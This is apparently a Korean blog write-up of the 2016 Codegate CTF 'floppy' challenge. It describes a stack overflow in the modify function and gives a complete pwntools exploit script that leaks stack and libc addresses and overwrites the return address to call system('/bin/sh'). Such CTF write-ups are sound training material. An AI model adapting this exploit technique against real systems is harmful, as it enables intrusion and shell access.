2016 codegate floppy
맨 처음에 floppy를 할당하는 코드이다. 다음부터는 v8이라는 변수를 통하여 floppy를 조작하게 된다. 즉, floppy struct가 스택영역에 써진다.
write함수이다. data는 malloc한 곳에, description은 스택에 써준다.
modify 부분의 description 입력에서 스택 오버플로우가 터진다.
위 스택 오버플로우를 통해 descrption, data 출력을 통한 leak이 가능하다.
file 명령어로 봤을 떄는 dynamically linked였는데 코드를 보면 plt와 got가 존재하지 않는다. 그래서 동일한 보호 기법을 걸고 실행해서 확인해봤다.
void main()
{
printf("hello!\n")
}
gcc -o test test.c -fPIE -pie -s -m32 -z norelro
plt가 존재한다.. 왜그런지 잘 모르겠다. 좀 더 공부하고 다시 써야겠다. 근데 어차피 pie 때문에 plt랑 got 주소도 실행 시점에 결정돼서 결국 여간 귀찮은게 아니다.
xxxxxxxxxx
from pwn import *
e = ELF('./floopy')
s = process('./floopy')
l = ELF('/lib/i386-linux-gnu/libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
sl(sel)
def choose(idx):
menu('1')
sl(idx)
def write(data, desc):
menu('2')
sl(data)
sl(desc)
def read():
menu('3')
def modify(sel, data):
menu('4')
sl(sel)
sl(data)
choose('2')
write('AAAA', 'AAAA')
choose('1')
write('BBBB', 'BBBB')
modify('1', 'C'*16)
read()
ru('C'*16)
leak = u32(s.recv(4))
print('leak!: {}'.format(hex(leak)))
ret = leak + 0x38
print('ret!: {}'.format(hex(ret)))
choose('2')
modify('1', 'C'*20 + p32(ret))
choose('1')
s.recv()
read()
ru('DATA: ')
leak = u32(s.recv(4))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - 0x18637
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
binsh = libc_base + 0x15ba0b
print('binsh!: {}'.format(hex(binsh)))
choose('1')
modify('1', p32(system)*2 + p32(0xdeadbeef) + p32(binsh) + "A"*4 + p32(ret-0x28))
io()
'system > writeup' 카테고리의 다른 글
2016 hitcon secretholder (0) | 2019.01.22 |
---|---|
2017 secuinside ohce (0) | 2019.01.21 |
2017 0ctf babyheap (0) | 2019.01.20 |
pwnable.tw applestore (0) | 2019.01.19 |
pwnable.tw dubblesort (0) | 2019.01.17 |